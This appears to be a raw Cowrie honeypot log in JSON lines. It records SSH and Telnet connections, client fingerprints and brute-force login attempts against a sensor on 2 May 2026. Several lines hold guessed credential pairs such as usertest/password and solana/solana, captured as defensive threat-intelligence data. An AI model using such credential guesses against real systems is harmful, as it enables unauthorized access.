{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:23:17.609280Z","src_ip":"193.24.211.95","session":"ffea1848adb1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"AdmiN","password":"AdmiN","message":"login attempt [AdmiN/AdmiN] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:23:18.056778Z","src_ip":"193.24.211.95","session":"ffea1848adb1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:23:19.172794Z","src_ip":"193.24.211.95","session":"ffea1848adb1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":37612,"dst_ip":"10.17.0.5","dst_port":22,"session":"82051f439db2","protocol":"ssh","message":"New connection: 2.57.122.238:37612 (10.17.0.5:22) [session: 82051f439db2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:23:43.808857Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:23:43.911848Z","src_ip":"2.57.122.238","session":"82051f439db2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.05247116088867,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:23:51.210248Z","src_ip":"207.154.251.61","session":"399c04bfd524","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":41812,"dst_ip":"10.17.0.5","dst_port":23,"session":"1bb7049ba80a","protocol":"telnet","message":"New connection: 104.245.105.2:41812 (10.17.0.5:23) [session: 1bb7049ba80a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:23:55.133907Z"}
{"eventid":"cowrie.session.closed","duration":39.24266600608826,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:23:55.235626Z","src_ip":"104.245.105.2","session":"495e80db6587","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.113.245.157","src_port":54040,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e0500b1615b","protocol":"ssh","message":"New connection: 186.113.245.157:54040 (159.203.135.109:22) [session: 7e0500b1615b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:24:09.225236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:24:09.230393Z","src_ip":"186.113.245.157","session":"7e0500b1615b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:24:09.325261Z","src_ip":"186.113.245.157","session":"7e0500b1615b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usertest","password":"password","message":"login attempt [usertest/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:24:09.740836Z","src_ip":"186.113.245.157","session":"7e0500b1615b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":56310,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca18d17098fd","protocol":"telnet","message":"New connection: 104.245.105.2:56310 (10.17.0.5:23) [session: ca18d17098fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:24:10.331525Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:24:10.838492Z","src_ip":"186.113.245.157","session":"7e0500b1615b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.02391719818115,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:24:31.157686Z","src_ip":"104.245.105.2","session":"1bb7049ba80a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":49756,"dst_ip":"10.17.0.5","dst_port":23,"session":"183958494bed","protocol":"telnet","message":"New connection: 207.154.251.61:49756 (10.17.0.5:23) [session: 183958494bed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:24:34.774866Z"}
{"eventid":"cowrie.session.closed","duration":43.94843530654907,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:24:54.279875Z","src_ip":"104.245.105.2","session":"ca18d17098fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":49750,"dst_ip":"10.17.0.5","dst_port":23,"session":"06aae35010fc","protocol":"telnet","message":"New connection: 207.154.251.61:49750 (10.17.0.5:23) [session: 06aae35010fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:25:04.150830Z"}
{"eventid":"cowrie.session.closed","duration":6.037869930267334,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:25:10.188597Z","src_ip":"207.154.251.61","session":"06aae35010fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39444,"dst_ip":"10.17.0.5","dst_port":23,"session":"93064e58198c","protocol":"telnet","message":"New connection: 104.245.105.2:39444 (10.17.0.5:23) [session: 93064e58198c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:25:34.184996Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52198,"dst_ip":"10.17.0.5","dst_port":23,"session":"655b01a36fc9","protocol":"telnet","message":"New connection: 104.245.105.2:52198 (10.17.0.5:23) [session: 655b01a36fc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:25:43.376736Z"}
{"eventid":"cowrie.session.closed","duration":32.29256010055542,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:26:06.477467Z","src_ip":"104.245.105.2","session":"93064e58198c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":47004,"dst_ip":"10.17.0.5","dst_port":22,"session":"6766e283bbb3","protocol":"ssh","message":"New connection: 2.57.122.238:47004 (10.17.0.5:22) [session: 6766e283bbb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:26:11.259729Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:26:11.264962Z","src_ip":"2.57.122.238","session":"6766e283bbb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:26:11.364292Z","src_ip":"2.57.122.238","session":"6766e283bbb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:26:11.662447Z","src_ip":"2.57.122.238","session":"6766e283bbb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:26:12.764892Z","src_ip":"2.57.122.238","session":"6766e283bbb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.485549688339233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:26:14.862194Z","src_ip":"104.245.105.2","session":"655b01a36fc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":60684,"dst_ip":"10.17.0.5","dst_port":23,"session":"b37a3167c850","protocol":"telnet","message":"New connection: 207.154.251.61:60684 (10.17.0.5:23) [session: b37a3167c850]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:26:20.771628Z"}
{"eventid":"cowrie.session.closed","duration":120.00104188919067,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:26:34.775784Z","src_ip":"207.154.251.61","session":"183958494bed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.152.52.105","src_port":56889,"dst_ip":"159.203.135.109","dst_port":22,"session":"b85e1d0f3a65","protocol":"ssh","message":"New connection: 104.152.52.105:56889 (159.203.135.109:22) [session: b85e1d0f3a65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:27:29.588269Z"}
{"eventid":"cowrie.client.version","version":"\u0016\u0003\u0001\u0005\\xca\u0001\u0000\u0005\\xc6\u0003\u0003_H\u0004\\xb1]^\\x9f\u0001\\x90\\xae\\x87T\\xbf\\xc97\u0633;CPh\\xd5Cb\u0010\u0018(^\\xfaP\\xedU x<\\xf7j\\xae,\\x8b&T\u000f(\\\fC\\x9b\"\u0765\u00c2\\xe9K\u0013\\x88y\\x9f\u001c\\xca\\xef\\xd5\\xf7x\u0000\u001a\\xc0+\\xc0/\\xc0,\\xc00\u0329\u0328\\xc0\t\\xc0\u0013\\xc0","message":"Remote SSH version: \u0016\u0003\u0001\u0005\\xca\u0001\u0000\u0005\\xc6\u0003\u0003_H\u0004\\xb1]^\\x9f\u0001\\x90\\xae\\x87T\\xbf\\xc97\u0633;CPh\\xd5Cb\u0010\u0018(^\\xfaP\\xedU x<\\xf7j\\xae,\\x8b&T\u000f(\\\fC\\x9b\"\u0765\u00c2\\xe9K\u0013\\x88y\\x9f\u001c\\xca\\xef\\xd5\\xf7x\u0000\u001a\\xc0+\\xc0/\\xc0,\\xc00\u0329\u0328\\xc0\t\\xc0\u0013\\xc0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:27:29.593204Z","src_ip":"104.152.52.105","session":"b85e1d0f3a65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:27:29.596685Z","src_ip":"104.152.52.105","session":"b85e1d0f3a65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.152.52.103","src_port":60445,"dst_ip":"159.203.135.109","dst_port":22,"session":"d421c947c2f9","protocol":"ssh","message":"New connection: 104.152.52.103:60445 (159.203.135.109:22) [session: d421c947c2f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:27:29.645478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:27:29.650016Z","src_ip":"104.152.52.103","session":"d421c947c2f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:27:29.672262Z","src_ip":"104.152.52.103","session":"d421c947c2f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:27:29.699595Z","src_ip":"104.152.52.103","session":"d421c947c2f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58484,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0e58013db22","protocol":"telnet","message":"New connection: 104.245.105.2:58484 (10.17.0.5:23) [session: a0e58013db22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:28:10.703905Z"}
{"eventid":"cowrie.session.closed","duration":120.00204014778137,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:28:20.773538Z","src_ip":"207.154.251.61","session":"b37a3167c850","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":35978,"dst_ip":"10.17.0.5","dst_port":23,"session":"a35ce689eaa5","protocol":"telnet","message":"New connection: 104.245.105.2:35978 (10.17.0.5:23) [session: a35ce689eaa5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:28:24.759032Z"}
{"eventid":"cowrie.session.closed","duration":5.2408976554870605,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:28:29.999794Z","src_ip":"104.245.105.2","session":"a35ce689eaa5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":37038,"dst_ip":"10.17.0.5","dst_port":22,"session":"4827b4a1f0f5","protocol":"ssh","message":"New connection: 2.57.122.238:37038 (10.17.0.5:22) [session: 4827b4a1f0f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:28:35.185338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:28:35.190277Z","src_ip":"2.57.122.238","session":"4827b4a1f0f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:28:35.295211Z","src_ip":"2.57.122.238","session":"4827b4a1f0f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:28:35.614132Z","src_ip":"2.57.122.238","session":"4827b4a1f0f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:28:36.721822Z","src_ip":"2.57.122.238","session":"4827b4a1f0f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.3077175617218,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:28:42.011498Z","src_ip":"104.245.105.2","session":"a0e58013db22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40630,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef2f346f739b","protocol":"telnet","message":"New connection: 104.245.105.2:40630 (10.17.0.5:23) [session: ef2f346f739b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:28:56.221653Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40636,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c99748c391f","protocol":"telnet","message":"New connection: 104.245.105.2:40636 (10.17.0.5:23) [session: 2c99748c391f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:28:58.074815Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.154.251.61","src_port":52854,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fb1ca66f858","protocol":"telnet","message":"New connection: 207.154.251.61:52854 (10.17.0.5:23) [session: 8fb1ca66f858]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:29:07.091485Z"}
{"eventid":"cowrie.session.closed","duration":2.7869417667388916,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:29:09.878301Z","src_ip":"207.154.251.61","session":"8fb1ca66f858","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47224,"dst_ip":"10.17.0.5","dst_port":23,"session":"eee30151d443","protocol":"telnet","message":"New connection: 104.245.105.2:47224 (10.17.0.5:23) [session: eee30151d443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:29:15.419543Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":47236,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e7c36656cf1","protocol":"telnet","message":"New connection: 104.245.105.2:47236 (10.17.0.5:23) [session: 9e7c36656cf1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T03:29:16.885421Z"}
